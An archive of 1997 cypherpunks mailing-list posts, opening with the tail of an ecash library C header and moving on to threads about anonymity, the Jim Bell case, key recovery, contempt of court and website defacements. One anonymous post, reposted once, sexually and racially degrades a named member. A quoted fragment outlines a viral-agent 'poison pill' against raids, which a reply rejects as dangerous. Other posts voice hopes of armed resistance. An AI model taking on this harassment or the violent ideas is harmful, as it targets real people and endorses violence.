#define ECError_NOBANKACCOUNT          -13
#define ECError_WITHDRAWAMOUNTLOW      -14
#define ECError_DEPOSITPAYMENT         -15
#define ECError_DEPOSITALLPAYMENTS     -16
#define ECError_DEPOSITRECDB           -17
#define ECError_DEPOSITREJECTED        -18
#define ECError_WALLETSTATUS           -19
#define ECError_DEPOSIT                -20
#define ECError_WITHDRAW               -21
#define ECError_NOPOCKETPASSWD         -22
#define ECError_ECMSGINVALID           -23
#define ECError_SENDMSGCALLBACK        -24
#define ECError_MAGIC                  -25
#define ECError_APPENDMSG              -26
#define ECError_PAYMENTACCEPT          -27
#define ECError_PAYMENTACCEPTBADAMOUNT -28
#define ECError_PAYMENTREJECTED        -29
#define ECError_PAYMENTMAKE            -30
#define ECError_PAYREQRECEIVE          -31
#define ECError_PAYREQCURRENCYUNKNOWN  -32
#define ECError_PAYMENTREQUEST         -33
#define ECError_PAYMENTACK             -34
#define ECError_PAYDB                  -35
#define ECError_NOPAYMENTS             -36
#define ECError_WALLETCOINS            -37
#define ECError_EXCHANGECOINS          -38
#define ECError_EXCHANGEREJECTED       -39
#define ECError_NOTENOUGHCASH          -40

#define ECNoError ((ECError *)NULL)




/*-------------------------------------------------------------------- 
 * ECPocket APIs
 *
 * Very preliminary documentation (will get enhanced later, I'm just
 * documenting the less obvious here.
 *
 * EC_Pocket_open() - Open an existing pocket, with location and
 *                    passphrase set in the ECConfig *.
 *
 * EC_Pocket_openAccount() - Create a new pocket with the attributes
 *                           in the ECConfig *. This does _not_ open
 *                           the pocket. This is for pockets which
 *                           have mint accounts only.
 *
 * EC_Pocket_openNoAccount() - Create a new pocket with the attributes
 *                             in the ECConfig *. This does _not_ open
 *                             the pocket. This creates an accountless
 *                             pocket, so the mintAddr and mintPort of
 *                             the ECConfig * should point to the
 *                             moneychanger. Note that mintID is still
 *                             required. This will open a connection
 *                             to the moneychanger and retrieve currency
 *                             keys for the mint.
 *
 * EC_Pocket_withdraw() - Withdraw from a mint account.
 *
 * EC_Pocket_withdrawProtoCoins() - Complete and withdraw the coins in
 *                                  the EC_M_Withdraw3 (a -lucre struct).
 *                                  amt is the value of the coins being
 *                                  withdrawn.
 *
 * EC_Pocket_deposit() - Deposit amount into mint account
 *
 * EC_Pocket_depositWithdraw() - Deposit coins and immediately withdraw
 *                               the same amount. This allows for exchanges
 *                               of coins and altering the stored 
 *                               denominations. Call this when you don't have
 *                               the right coins on hand for a payment.
 *
 * EC_Pocket_exchangeCoins() - Exchange coins (via moneychanger), same as
 *                             above but w/o mint.
 *
 * EC_Pocket_getCoinInfo() - Returns information about the denominations
 *                           available for a given amount. max_avail is the
 *                           largest amount the pocket can make less than the
 *                           amount specified. min_dep is the smallest amount 
 *                           to exchange which will guarantee the ability to 
 *                           make amount, provided min_dep is withdrawn in 
 *                           base units (i.e. 1 cent).
 *
 */
ECPocket *EC_Pocket_create( void );
ECPocket *EC_Pocket_copy( ECPocket *this );
ECError *EC_Pocket_destroy( ECPocket *this );
ECError *EC_Pocket_open( ECPocket *this, 
          ECConfig *conf );
ECError *EC_Pocket_openAccount( ECConfig *conf );
ECError *EC_Pocket_openNoAccount( ECConfig *conf );
ECError *EC_Pocket_withdraw( ECPocket *this, 
              Int32 amount, 
              Int32 minPayments );
ECError *EC_Pocket_withdrawProtoCoins( ECPocket *this, 
                   ECSocket *sock, 
                   EC_M_Withdraw3 wd3, 
                   Int32 amt );
ECError *EC_Pocket_deposit( ECPocket *this, 
             Int32 amount );
ECError *EC_Pocket_depositWithdraw( ECPocket *this, 
                Int32 amount, 
                Int32 payments );
ECError *EC_Pocket_exchangeCoins( ECPocket *this, 
              Int32 amount, 
              Int32 payments,
              char *host, 
              char *port );
ECError *EC_Pocket_getMintID( ECPocket *this, 
               UInt32 *id );
ECError *EC_Pocket_getCurrency( ECPocket *this, 
            UInt32 *cur );
ECError *EC_Pocket_getAccountName( ECPocket *this, 
               char **name );
ECError *EC_Pocket_getCash( ECPocket *this, 
             UInt32 *cash );
ECError *EC_Pocket_getBalance( ECPocket *this, 
                UInt32 *bal );
ECError *EC_Pocket_getCashStr( ECPocket *this, 
                char **cash_str );
ECError *EC_Pocket_getBalanceStr( ECPocket *this, 
              char **bal_str );
ECError *EC_Pocket_getCoinInfo( ECPocket *this, 
            UInt32 amount, 
            UInt32 *max_avail,
            UInt32 *min_dep );
Int32 EC_Pocket_isAccountless( ECPocket *this );



/*-------------------------------------------------------------------- 
 * ECSocket APIs
 *
 *
 * Simple set of socket APIs. These functions manage the ecash TCP
 * protocol for you. Documentation later.
 *
 * EC_Socket_setCallbacks() - Sets send and receive callbacks for
 *                            sending ecash messages. These will be
 *                            called _after_ the message is encoded 
 *                            with the ecash TCP header.
 */
ECSocket *EC_Socket_create( UInt32 type );
ECError *EC_Socket_setCallbacks( ECSocket *this,  
             UInt32 (*sendcallback)( void *cbInfo,
                      UChar *msg, 
                      UInt32 len ),
             UInt32 (*recvCallback)( void *cbInfo,
                      UChar **msg,
                      UInt32 *len),
             void *cbInfo );
ECSocket *EC_Socket_createFromFd( char *haddr, char *hport, Int32 fd );
ECError *EC_Socket_open( ECSocket *this, char *haddr, char *hport );
ECError *EC_Socket_accept( ECSocket *this, ECSocket *new );
ECError *EC_Socket_listen( ECSocket *this, char *hport );
ECError *EC_Socket_sendMsg( ECSocket *this, EC_M_Msg msg );
ECError *EC_Socket_recvMsg( ECSocket *this, EC_M_Msg msg );
TCPSocket *EC_Socket_getTCPSocket( ECSocket *this );



/*-------------------------------------------------------------------- 
 * ECConfig APIs
 */
ECConfig *EC_Config_create( void );
ECConfig *EC_Config_copy( ECConfig *this );
ECError *EC_Config_destroy( ECConfig *this );
ECError *EC_Config_setAccountName( ECConfig *this, char *name );
ECError *EC_Config_setAccountPassword( ECConfig *this, char *passwd );
ECError *EC_Config_setPocketPassword( ECConfig *this, char *passwd );
ECError *EC_Config_setPocketDir( ECConfig *this, char *path );
ECError *EC_Config_setMintID( ECConfig *this, UInt32 mintID );
ECError *EC_Config_setMintAddr( ECConfig *this, char *host );
ECError *EC_Config_setMintPort( ECConfig *this, char *port );




/*-------------------------------------------------------------------- 
 * ECPayment APIs
 *
 * The important functions here are accept(), make(), request(), and
 * variants. Note that this is all socket based, there will be ascii
 * armor variants soon, but not now.
 *
 * EC_Payment_accept() - accept an online payment. The this pointer
 *                       points to an ECPayment with the expected
 *                       amount set. This amount is checked and an
 *                       error will be returned if the incoming payment
 *                       does not agree. The ECSocket * is an already
 *                       open socket to the payer. This function will
 *                       automatically handle accountless pockets, so
 *                       explicitly calling the NoAccount variant is
 *                       not necessary.
 *
 * EC_Payment_accept1() - same as above, but the payment is _not_ acked
 *                        to the payer.
 *
 * EC_Payment_acceptNoAccount() - same as accept() but for accountless
 *                                pockets. Gets called by accept() if
 *                                the pocket is accountless.
 *
 * EC_Payment_acceptNoAccount1() - same as above, but the payment is _not_
 *                                 acked to the payer.
 *
 * EC_Payment_handle() - Unconditionally accept a -lucre EC_M_Payment. This
 *                       will _not_ check amounts. It will handle NoAccount
 *                       automatically.
 *
 * EC_Payment_handleNoAccount() - same as above except for accountless 
 *                                pockets. Called by handle() if the pocket 
 *                                is accountless.
 *
 * EC_Payment_make() - make a payment over the ECSocket passed. This
 *                     function _expects_ a payment ack. Use make1() if
 *                     none will arrive.
 *
 * EC_Payment_make1() - same as above, but does not wait for an ack.
 *
 * EC_Payment_receiveRequest() - Receive a payment request on the ECSocket
 *                               passed. Returns the information in the
 *                               this pointer.
 *
 * EC_Payment_request() - Send a payment request over the ECSocket passed.
 */
ECPayment *EC_Payment_create( ECPocket *pocket );
ECError *EC_Payment_setAmount( ECPayment *this, Int32 amt );
ECError *EC_Payment_setTimestamp( ECPayment *this, UInt32 timestamp );
ECError *EC_Payment_setSeqNo( ECPayment *this, UInt32 timestamp );
ECError *EC_Payment_setDescription( ECPayment *this, char *desc );
ECError *EC_Payment_setRecipientName( ECPayment *this, char *name );
ECError *EC_Payment_setRecipientMint( ECPayment *this, UInt32 id );
ECError *EC_Payment_getAmount( ECPayment *this, UInt32 *amt );
ECError *EC_Payment_getSeqNo( ECPayment *this, UInt32 *seqno );
ECError *EC_Payment_getTimestamp( ECPayment *this, UInt32 *timestamp );
ECError *EC_Payment_getDescription( ECPayment *this, char **desc );
ECError *EC_Payment_getRecipientName( ECPayment *this, char **name );
ECError *EC_Payment_getRecipientMint( ECPayment *this, UInt32 *id );
ECError *EC_Payment_accept( ECPayment *this, ECPocket *pocket,
             ECSocket *sock );
ECError *EC_Payment_accept1( ECPayment *this, ECPocket *pocket,
              ECSocket *sock );
ECError *EC_Payment_acceptNoAccount( ECPayment *this, ECPocket *pocket,
                 ECSocket *sock );
ECError *EC_Payment_acceptNoAccount1( ECPayment *this, ECPocket *pocket,
                  ECSocket *sock );
ECError *EC_Payment_handle( ECPayment *this, ECPocket *pocket, 
             EC_M_Payment payment );
ECError *EC_Payment_handleNoAccount( ECPayment *this, ECPocket *pocket, 
                 EC_M_Payment payment );
ECError *EC_Payment_make( ECPayment *this, ECPocket *pocket, ECSocket *sock );
ECError *EC_Payment_make1( ECPayment *this, ECPocket *pocket, ECSocket *sock 
);
ECError *EC_Payment_receiveRequest( ECPayment *this, ECPocket *pocket, 
                ECSocket *sock );
ECError *EC_Payment_request( ECPayment *this, ECPocket *pocket, ECSocket
*sock 
);



/*-------------------------------------------------------------------- 
 * ECError APIs
 */
ECError *EC_Error_create( void );
ECError *EC_Error_returnValue( Int32 errno );
ECError *EC_Error_returnTCPError( TCPError *err );
ECError *EC_Error_returnLibError( Int32 errno, Int32 libErrno );






#endif /* _ECASH_H_*/

/* 
 *
 *   Copyright (c) 1995, 1996, 1997
 *      The VeriWeb Internet Corporation.  All Rights Reserved.
 *
 *   This is a published work of the VeriWeb Internet Corporation
 *   ("VeriWeb").  Permission to use and/or redistribute may be 
 *   obtained upon prior written permission by VeriWeb, and 
 *   provided that the following conditions are also met:
 *
 *      1. Redistributions of source code, including binary forms, 
 *         must retain the above copyright notice, this list of 
 *         conditions, and the following disclaimer.
 *
 *      2. Documentation and/or other materials provided with any
 *         redistribution must contain the above copyright notice, 
 *         this list of conditions, and the following disclaimer.
 *
 *      3. All advertising materials mentioning features or use of 
 *         this software must display the following acknowledgement:
 *              
 *              This product includes software developed by
 *              the VeriWeb Internet Corporation and its contributors.
 *
 *      4. Neither the name of the VeriWeb nor the names of its 
 *         contributors may be used to endorse or promote products 
 *         derived from this software without specific prior written 
 *         permission.
 *
 *   THIS SOFTWARE IS PROVIDED BY VERIWEB AND CONTRIBUTORS ``AS IS''.  
 *   THEREFORE, ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 
 *   LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 
 *   FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL VERIWEB 
 *   OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 
 *   SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 
 *   LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 
 *   DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED, AND ON 
 *   ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *   OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 
 *   OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY 
 *   OF SUCH DAMAGE.
 *
 * 
 *
 *    ecash.h $Revision: 1.2 $ (VeriWeb) $Date: 1997/05/21 01:48:50 $
 */

/*eof*/


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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--
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                 http://www.veriweb.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64






From azur at netcom.com  Wed May 21 15:07:39 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 22 May 1997 06:07:39 +0800
Subject: The USA is the world's biggest terrorist state
Message-ID: 


>The United States of America sits astride the world, holding the riding
>crop and ordering the other nations of the world around in various ways. It
>sends troops to distant parts of the world. It even takes on the main
>"peacekeeping" (meaning: choosing a faction and suppressing the other
>factions) role in Yugoslavia...surely a European problem, if a problem at
>all.
>

The US is in very real danger of reaping the same sort of maelstrom that
vanquished the Romans.  They were also very powerful, with tentacles
reaching almost to the limits of their known world, before a combination of
internal decay and dissention and reprisal from those vanquished put them
asunder.

The government's recent emphasis on terrorism is apt since they have
created so many enemies of ethnic, political, religious and social groups.
Even paranoids have enemies.  The internal threat is not near as great as
they portray, but with increased emphasis on suppression and prosecution
rather than addressing the ills, it will likely become a self-fulfilling
prophesy.  However, addressing the complaints of these militias is not
under consideration because it would undo the very fabric of Federal
jurisdictional excesses which provide the government's power base.

Economics and the freedom, or lack, it entails is key.  One reason our
political system doesn't work is the Fed's right to tax internal economic
activity as opposed to the excise taxes it was originally granted.  Too
much money (power) is concentrated in too few representatives who work in
relative isolation (ever try and get a meeting with your rep.) for most of
their term.  If internal taxes could only be levied by states, who then
were free to revenue share what they wished with the Feds (who would submit
their requests and budgets to the states), power might be so diffused as to
make nationwide lobbying too difficult and expensive and there would be a
much closer adherence to local interest.

We appear to be heading straight for a Whiskey Rebellion type showdown.  In
fact, many of the same complaints of retreat from the founding principles,
which were ignored in the 1780-90s, are echoing in the writings and
speeches of today's militia.  In the 1790s it was wealthy and powerful
eastern businessmen, mostly former Torries, who supported Hamilton and
Washington against the frontiersmen.  This time its the military industrial
complex.  This time I hope the resistance is much bettered prepared.

--Steve







From nobody at huge.cajones.com  Wed May 21 15:11:21 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 06:11:21 +0800
Subject: attila the hun (was Re: Wine Politics Again!)
Message-ID: <199705212141.OAA14578@fat.doobie.com>


Adam Back wrote:
> Bill Stewart  writes:
> > At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> > >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> >       [rant deleted - bill]
> > >Speaking of power corrupting, notice how the power to speak
> > >anonymously has destroyed this poor souls brain.
 
  When Attila T. Hun posts to the list, I can tell you how many
hours, days and minutes it has been since his last post. I know
when I see his name on a post that he has something to say. 
  Perhaps the most telling comment I have heard about him was
when a fellow cypherpunk said about Attila, "When he replies to
one of my posts I never know if he's going to kiss me or rip
me a new asshole.  He doesn't respond to my _reputation capital_
or my perceived net persona--he responds to what I express in
my posting."

  I don't have a problem with the opinions or points of view that
Kent expresses on the cypherpunks list, but I do have a problem
with the fact that his posts seem to reflect a pre-programmed
world-view, with little thought given to the actual content and
concepts expressed by those he is replying to.
  I find Kent's posts to be much like the ASCII art that is posted
to the list--each post is slightly different, but predictable. The
aspersions that Kent casts on those such as Attila and Tim serve
no purpose other than to accentuate the fact that he is envious
of their propensity for dealing on a real-world level with the
concepts he addresses from an intellectual ivory tower.

> > Attila's not anonymous - he's a regular poster, and has been
> > for long enough to build up some reputation around his penname.

  There are people I have known for years--their _real_ name, where
they live, went to school, the annual average rainfall in their
hometown, etc.--but I know very little about who they really are--
how they think, what they believe, etc.
   I know a lot more about Attila T. Hun. His posts reflect who he
is, where he's been, what he's done, and his perceptions about
himself and the world around him. His posts reflect his persona.
   Kent's posts reflect, in my opinion, what he has "learned to
believe." When I read Kent's posts, I don't feel like I learn
who he is, but rather, I learn the "position" that he is taking
on this or that point.
   Real name/anonymity aside, I see Attila as real and Kent as a
shadowy figure. My advice to Kent would be, "If you're going to
be an asshole, at least be a _real_ asshole." I enjoy the exchange
of differing viewpoints (and genuine conflicts) on the cypherpunks
list, because it gives me food for thought about positions and
viewpoints that I have dichotimous feelings about, but I have
little use for lukewarm, passive-aggressive exchanges. (I prefer
the pissing contests between raving maniacs.)

> In short I believe you picked on the wrong guy if you considered
> Attila an example of someone with lots to say when hiding behind
> strong anonymity.

  I have used a variety of "names" as a writer, musician and as a
fugitive from injustice. Whenever I looked in the mirror, however,
I always saw the same face. And no matter what "persona" I am using,
I find that I feel most like "myself" when I speak and act honestly,
no matter whether my stance is homeostatic or dichotymous.
  I have done traffic/personality/pseudonym analysis on the list for
years and have uncovered a plethora of anonymous personas. Some use
anonymity to "step out of" their regular list persona. Some use it
to address issues that could not deal with under their regular
persona because of a need to protect their perceived public/social
image. Some use anonymity because of personal or business conflicts
that could be used against them by those who feel threatened by
honesty. Others use anonymity because it is fun to play "hide and
seek" with list members who know them well enough to suspect who
they _really_ are.

  I first encountered the "TruthMonger" persona in 1989 and have
followed its evolution since that time. The better I got at 
tracking the various entities assuming the TruthMonger persona,
the more I realized that those who claim to "know" or "expose"
who a particular TruthMonger _really_ is are wrong about
90% of the time.
  The reason for this is simple.
  Once we form an "opinion" of _who_ somebody is and _what_they_
believe_, and _who_they_are_, then we "interpret" what they
have to say in their posts in accordance with our learned
perception of them. Accordingly, we fail to see the naturally
occuring dichotomys and inconsistencies that are inherent in
living, learning and adapting to the evolution of thought which
comes with an expanding mental and emotional paridigm.
  When the same person posts anonymously, then those who know
them and have an "opinion" of who they are and what they think
can no longer categorize their post automatically and interpret
it in the "usual" manner.

  Anonymity forces the reader to consider the content that is
contained in the post, rather than automatically consigning it
to the proper "box" according to the established persona of a
regular poster.
  Many people are not comfortable with not being able to
"assign" an anonymous persona with the author's appropriate
mental "box" so they attribute this or that post with this
or that list member and respond accordingly.

  I am posting this anonymously.
  Who am I? I am the person who believes what I have written here
and who doesn't want what I am expressing to be classified 
according to what I wrote yesterday.

I am:
TruthMonger # -96






From hallam at ai.mit.edu  Wed May 21 15:20:40 1997
From: hallam at ai.mit.edu (Hallam-Baker)
Date: Thu, 22 May 1997 06:20:40 +0800
Subject: Why I think Jim Bell is getting railroaded
In-Reply-To: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>
Message-ID: <33837141.2F1C@ai.mit.edu>


Alan Olsen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> I think that the Government is trying to make an example of Mr. Bell.  I
> think
> that much of the charges reported in the news are flase.
> 
> Here is why...
> 
> 1) They claim that Jim was actively trying to disrupt 911 service and poison
> the Bull Run water supply.  These are non-political targets.  Jim only thinks
> in political targets. 

He only mouths off on cypherpunks about FBI agents and such but 
I know a lot of terrorists who consider the 911 system a political
target. The UVF in Ulster blew up a dam (so they could blame it on
the IRA). 

I would not depend on Bell to any extent in any circumstance to
be reliable.



> 2) The warrent is sealed, yet the media is reporting all sorts of things  about
> the case.  Where is the information coming from?  

Who says they have any at all? The US press does not need
information to publish articles. Bell has published his stuff
very widely.


> 3) The suspected crimes list keeps changing.  How many times has the
> "official" story changed?  Each time it gets more and more lurid.  

Expanding is the word. Put someone under a microscope and you
are liable to find out quite a bit about them. 

Bell is not the kind of loon to stick one's neck out for. It may
well be that he did not explicitly advocate murder but he danced
awfully close to that line. My understanding is that the original
charge relates to statements made in person that were interpreted 
as threatening. Each act individually may not amount to a 
criminal act but together they could well do so.

For example in the 1970s a series of articles was written
under the pen-name "Brownie" advocating the "Ballot Bomb"
strategy in which political action would be used to compliment a
terrorist campaign. Now it is arguable that the articles were or
were not protected speech under the first amendment but consider 
the situation if that person were to say to someone such as a policeman 
"I know how to fix you". If as would be quite likely the policeman 
was aware of the "Brownie" letters the intent to communicate a
threat of murder would be quite plain.

Before charging to the rescue its a good idea to make sure
that you are rescuing the right person. Government agents
also have the right not to be threatened with murder.


The first amendment has never been interpreted as making
threatening speech or fraud legal, even by those such as
Jefferson who argued against libel laws.


	Phill






From abd at cdt.org  Wed May 21 16:27:14 1997
From: abd at cdt.org (Alan Davidson)
Date: Thu, 22 May 1997 07:27:14 +0800
Subject: Report: The Risks of Key Recovery
Message-ID: 



An experts' study of the risks presented by key escrow and key recovery was
released this morning and is now available on the Web at

		http://www.crypto.com/key_study/

Thought some of you folks might find this interesting.

Regards,

	Alan

-----------------

THE RISKS OF KEY RECOVERY, KEY ESCROW, AND TRUSTED THIRD PARTY ENCRYPTION

        Report By Leading Cryptographers and Computer Scientists Says
            Government Encryption Plan Is Risky and Impractical

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report examining the risks and implications of
government-driven key-recovery systems.

The report cautions that, "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report's authors, recognized leaders in the fields of cryptography and
computer science, include Hal Abelson, Ross Anderson, Steven M. Bellovin,
Josh Benaloh, Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier.

HOW TO OBTAIN A COPY OF THE REPORT

The report is available online at http://www.crypto.com/key_study/
and printed copies will also be available through the Center for
Democracy and Technology.

FOR MORE INFORMATION

If you have any questions or would like additional information, please
contact Alan Davidson at CDT, 202.637.9800 .









From eric at clever.net  Wed May 21 17:01:06 1997
From: eric at clever.net (Cyberdog)
Date: Thu, 22 May 1997 08:01:06 +0800
Subject: Anonymous remailers:  A call to arms wanted
In-Reply-To: <3382463a.1158385@news.nr.infi.net>
Message-ID: 


>Anonymous remailers protect speakers from retaliation. The Founders used
>anonymity, as the pseudonymous writings in the Federalist Papers show.
>
>Granted, some anonymous posts are drivel, some are even illegal.
>
>So?
>

The Antifederalist writers used pen-names too, and recent events make thier
arguments interesting.

http://colossus.net/wepinsto/rot/afp/index.html

Index to the Antifederalist Papers



       Antifederalist No. 1 GENERAL INTRODUCTION: A DANGEROUS PLAN OF BENEFIT
       ONLY TO THE "ARISTOCRATICK COMBINATION"
       Antifederalist No. 2 "WE HAVE BEEN TOLD OF PHANTOMS"
       Antifederalist No. 3 NEW CONSTITUTION CREATES A NATIONAL GOVERNMENT;
       WILL NOT ABATE FOREIGN INFLUENCE; DANGERS OF CIVIL WAR AND DESPOTISM
       Antifederalist No. 4 FOREIGN WARS, CIVIL WARS, AND INDIAN WARS - THREE
       BUGBEARS
       Antifederalist No. 5 SCOTLAND AND ENGLAND - A CASE IN POINT
       Antifederalist No. 6 THE HOBGOBLINS OF ANARCHY AND DISSENSIONS AMONG THE
       STATES
       Antifederalist No. 7 ADOPTION OF THE CONSTITUTION WILL LEAD TO CIVIL
WAR
       Antifederalist No. 8 "THE POWER VESTED IN CONGRESS OF SENDING TROOPS FOR
       SUPPRESSING INSURRECTIONS WILL ALWAYS ENABLE THEM TO STIFLE THE
       FIRST STRUGGLES OF FREEDOM"
....









From nobody at huge.cajones.com  Wed May 21 17:05:24 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 08:05:24 +0800
Subject: One-time pads
Message-ID: <199705212337.QAA20381@fat.doobie.com>


Timothy C[reep] May sits at his terminal dressed in five-inch stiletto heels, 
fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath 
to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath 
the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a 
black man responds to one of his inane rants.

          ^. .^
          ( @ )
            c






From ichudov at algebra.com  Wed May 21 17:05:51 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 22 May 1997 08:05:51 +0800
Subject: Poison Pill Defense (fwd)
Message-ID: <199705212356.SAA22445@manifold.algebra.com>


----- Forwarded message from Peter Trei -----

>From cpunks at manifold.algebra.com  Wed May 21 09:12:25 1997
Message-Id: <199705211410.KAA03539 at www.video-collage.com>
Comments: Authenticated sender is 
From: "Peter Trei" 
Organization: Process Software
To: cypherpunks at algebra.com
Date: Wed, 21 May 1997 10:21:43 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re:  Poison Pill Defense
Reply-to: trei at process.com
CC: trei at www.video-collage.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

nobody at huge.cajones.com (Huge Cajones Remailer) writes:
> 
> I hear from anonymous correspondents that the following
> technique has been successfully deployed among some militia
> members and cypherpunks who fear raids on their private
> property.  Apparently the technique was originally invented
> by a biotech lab that the FDA was planning to shut down in an
> uncivil manner when Kessler first came to power.  The
> lab was never raided.
 
> Preliminary: choose a suitable viral agent.  [...]

> Step one: immunize household members against this agent.

Several things come to mind in reading this.

1. This has *no* crypto-related content.

2. This guy has been watching too many re-runs of 'Mission 
Impossible'. The scheme is Rube-Goldberg and full of potential
failure modes, ranging up to and including the accidental 
death of the implementor and his/her household. The techniques
involved are complex, difficult, dangerous, and expensive. 

3. This is not a 'defense'. 

* It won't stop a raid; if it's deployment is kept secret, 
  it's deterrence value is zero. If it's deployment is 
  publicized, then it is ineffective, since the raiders 
  will take appropriate countermeasures (and announcement
  of it's deployment is *very* good grounds for a raid).

* It won't work to conceal whatever you had that was worth 
  concealing, in the event of a raid.

All it is a scheme for getting petty vengence, and even 
if works perfectly, will get you murder or attempted 
murder charges tacked onto whatever you were raided for.

Only an idiot (such as our anonymous poster) would even 
think of deploying such a scheme. 

4. If I were an agent provocateur, attempting to make the 
members of this list look dangerous, I'd encourage them to
discuss topics like this. Jim Bell's advocacy of AP may have
been legal, but it sure didn't endear him to LEAs.

I seriously suspect that this thread may have been planted
by someone with the intent of discrediting the list.

Peter Trei
Disclaimer: I speak only for myself.
 

----- End of forwarded message from Peter Trei -----






From ichudov at algebra.com  Wed May 21 17:09:47 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 22 May 1997 08:09:47 +0800
Subject: Hacked, Trashed and Out of Beer (fwd)
Message-ID: <199705212356.SAA22476@manifold.algebra.com>


----- Forwarded message from Peter Trei -----

>From cpunks at manifold.algebra.com  Wed May 21 09:20:15 1997
Message-Id: <199705211417.KAA03928 at www.video-collage.com>
Comments: Authenticated sender is 
From: "Peter Trei" 
Organization: Process Software
To: cypherpunks at manifold.algebra.com
Date: Wed, 21 May 1997 10:28:32 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: Hacked, Trashed and Out of Beer
Reply-to: trei at process.com
CC: trei at www.video-collage.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

Bill Frantz wrote:
> At 6:21 PM -0700 5/20/97, se7en  wrote:
> >Well, I finally managed to catch up on all the email from this list, and
> >managed to also get all of the hacked web sites thus far up on my web
> >page at http://www.dis.org/se7en
> >
> >w-h-i-c-h includes:
> >
> >Amnesty International
> >Central Intelligence Agency
> >East Timor, Indonesia
> >Kriegsman Fur
> >NASA
> >U.K. Labour Party
> >U.S. Air Force
> >U.S. Department of Justice
> 
> Gee, your server sure wants to send a lot of cookies.  I consider receiving
> a cookie before getting a statement, or being able to guess (e.g. WEB
> shopping), about their use to be an unfriendly act.

> Bill Frantz

Netscape 4.x (I'm using beta3, beta4 is now out) includes an option 
to silently refuse all cookies. That alone is enough to make me
put up with it's instabilities.

Peter Trei

----- End of forwarded message from Peter Trei -----






From ravage at EINSTEIN.ssz.com  Wed May 21 18:18:41 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 22 May 1997 09:18:41 +0800
Subject: encryption laws (fwd)
Message-ID: <199705220031.TAA14578@einstein.ssz.com>


Forwarded message:

> Date: Wed, 21 May 1997 15:03:32 -0400
> From: tzeruch at ceddec.com

> > If they had reasonable cause to believe you had knowledge of the key and
> > were refusing to divulge it under direct order of the court you would be
> > held in contempt until you were very old and gray.
> 
> IANAL, but
> 
> You could claim 5th ammendment priviledge - they would have to give
> immunity from any prosecution relating to the contents.
> 

The 5th ONLY applies if you are being accussed AND immunity is not granted.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage at ssz.com






From ravage at EINSTEIN.ssz.com  Wed May 21 18:23:55 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Thu, 22 May 1997 09:23:55 +0800
Subject: encryption laws (fwd)
Message-ID: <199705220036.TAA14603@einstein.ssz.com>


Forwarded message:

> From: frissell at panix.com
> Date: Wed, 21 May 1997 07:45:35 -0400

> >If they had reasonable cause to believe you had knowledge of the key and
> >were refusing to divulge it under direct order of the court you would be
> >held in contempt until you were very old and gray.

> Two years max.  A lot less time if you followed my strategy of spamming the 
> court with daily (hourly?) screeds in which you assert in your finest Usenet 
> flame language the fact that you will never follow the judge's order.

Your contention is that the longest a judge can hold you on contempt charges
is two years? I would love to see a reference on this one.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage at ssz.com






From real at freenet.edmonton.ab.ca  Wed May 21 18:24:53 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 22 May 1997 09:24:53 +0800
Subject: One-time pads
In-Reply-To: <199705212337.QAA20381@fat.doobie.com>
Message-ID: 


On Wed, 21 May 1997, Huge Cajones Remailer wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> Timothy C[reep] May sits at his terminal dressed in five-inch stiletto heels, 
> fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath 
> to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath 
> the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a 
> black man responds to one of his inane rants.
> 
>           ^. .^
>           ( @ )
>             c
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
